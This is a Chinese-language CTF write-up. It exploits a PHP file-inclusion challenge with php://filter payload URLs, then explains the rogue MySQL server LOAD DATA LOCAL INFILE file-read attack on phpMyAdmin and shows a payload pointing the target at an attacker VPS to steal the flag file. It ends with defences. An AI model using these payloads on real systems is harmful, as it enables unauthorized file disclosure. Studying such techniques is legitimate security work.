题目分析
题目给出了源码
<?php
define(ROBOTS, 0);
error_reporting(0);
if(empty($_GET["action"])) {
show_source(__FILE__);
} else {
include $_GET["action"].".php";
}
可以文件包含,但是被添加了.php
后缀。尝试%00截断、超长字符串截断均不成功。
注意到第一句代码,变量名为ROBOTS,联想到robots.txt。
访问后发现目录
User-agent:*
Disallow:/install
Disallow:/admin
分别用php伪协议包含admin/index和install/index,payload为
http://ctf.chaffee.cc:23333/?action=php://filter/read=convert.base64-encode/resource=admin/index
http://ctf.chaffee.cc:23333/?action=php://filter/read=convert.base64-encode/resource=install/index
得到admin/index.php,得到了flag的路径。
<?php
if (!defined("ROBOTS")) {die("Access Denied");}
echo "Congratulate hack to here, But flag in /var/www/flag.flag";
install/index.php
<?php
if(file_exists("./install.lock")) {
die("Have installed!");
}
$host = $_REQUEST['host'];
$user = $_REQUEST['user'];
$passwd = $_REQUEST['passwd'];
$database = $_REQUEST['database'];
if(!empty($host) && !empty($user) && !empty($passwd) && !empty($database)) {
$conn = new mysqli($host, $user, $passwd);
if($conn->connect_error) {
die($conn->connect_error);
} else {
$conn->query("DROP DATABASE ".$database);
$conn->query("CREATE DATABASE ".$database);
//To be continued
mysqli_close($conn);
$config = "<?phpn$config=";
$config .= var_export(array("host"=>$host, "user"=>$user, "passwd"=>$passwd), TRUE).";";
file_put_contents(md5($_SERVER["REMOTE_ADDR"])."/config.php", $config);
}
}
该文件首先判断当前目录有无install.lock,我们通过上一级目录的文件包含漏洞可以绕过这个判断。下面是接受用户输入登陆mysql数据库,登陆成功的话会执行两个没有任何过滤的SQL语句,然后执行一个文件写入的操作。
我在做这道题时第一反应是爆破数据库,进入下面的else语句里,写入代码到config.php执行,但是发现如果直接输入对应的参数,即host=localhost&user=root&passwd=root&database=era
,这样会报No such file or directory
的错误。分析原因,的确成功登入数据库,但是在执行file_put_contents()
函数时,插入了一个文件夹md5($_SERVER["REMOTE_ADDR"])
,而这个函数在文件夹不存在的情况下是不能新建文件夹的,因此这个file_put_contents()
函数并不能利用,我觉得这像是出题人的一个陷阱。那真正的利用点在哪呢?
漏洞回顾
首先回顾一下去年爆出的phpmyadmin任意文件读取漏洞。
如果phpmyadmin开启了如下选项
$cfg['AllowArbitraryServer'] = true; //false改为true
则登录时就可以访问远程的服务器。当登陆一个恶意构造的Mysql服务器时,即可利用load data infile
读取该服务器上的任意文件。当然前提条件是secure_file_priv
参数允许的目录下,且phpmyadmin的用户对该文件有读的权限。
这里利用vulnspy上的实验环境演示分析该漏洞。
首先是配置恶意服务器。在db服务器的命令行里修改root/exp/rogue_mysql_server.py文件,设port为3306外的其他端口,我这里设为3307,然后在filelist中选择一个要读取的文件。
运行这个python脚本,可以看到服务器已经开始监听这个端口
访问phpMyAdmin的登录页面,地址输入db:3307、用户名vulnspy、密码vulnspy,提交登录。
在db的命令行里可以看到,文件访问已经成功。
漏洞分析
漏洞出在Load data infile
语法。在mysql客户端登陆mysql服务端后,客户端执行语句
Load data local infile '/etc/passwd' into table proc;
这里使用的是load data local infile
,不加local是读取服务器的文件,添加local参数为读取本地文件。
即意为客户端本地的/etc/passwd
文件插入了服务器的test表中。
服务器此时会回复一个包含了/etc/passwd
的Response TABULAR
包。
接着客户端就回复给服务端本地/etc/passwd
中的内容。
正常的请求逻辑如下
sequenceDiagram
客户端->>服务端: Load data infile '/etc/passwd'...
服务端->>客户端: Response TABULAR
客户端->>服务端: Content in /etc/passwd
这是正常的情况,即客户端发送一个load data infile
请求,服务器回复一个Response TABULAR
,不会出现什么问题。
但是Mysql允许服务端在任何时候发送Response TABULAR
数据包, 此时就跳过了第一步,实现了任意文件读取的目的。
sequenceDiagram
客户端->>服务端:
服务端->>客户端: Response TABULAR
客户端->>服务端: Content in /etc/passwd
恶意mysql服务器只需要完成mysql连接的握手包,然后发送出这个Response TABULAR
包,即可收到客户端传来的文件。
在刚才的phpmyadmin实例里抓包,可以看到该恶意服务端发包和客户端发送数据的包内容。
这里给出github上的恶意mysql服务器地址。
这就是整个漏洞的分析过程,最后回到开始那道ctf题,答案也是显而易见了。在vps上开启一个恶意mysql服务器并监听。然后在浏览器输入payload
host=VPS_ADDR:EVIL-MYSQL_PORT&user=root&passwd=root&database=ddd
即可在服务器的mysql.log里看到flag
漏洞防御
- 关闭
local_infile
参数,禁止导入本地文件 - 开启
--ssl-mode=VERIFY_IDENTITY
参数,防止连接不安全的mysql服务器。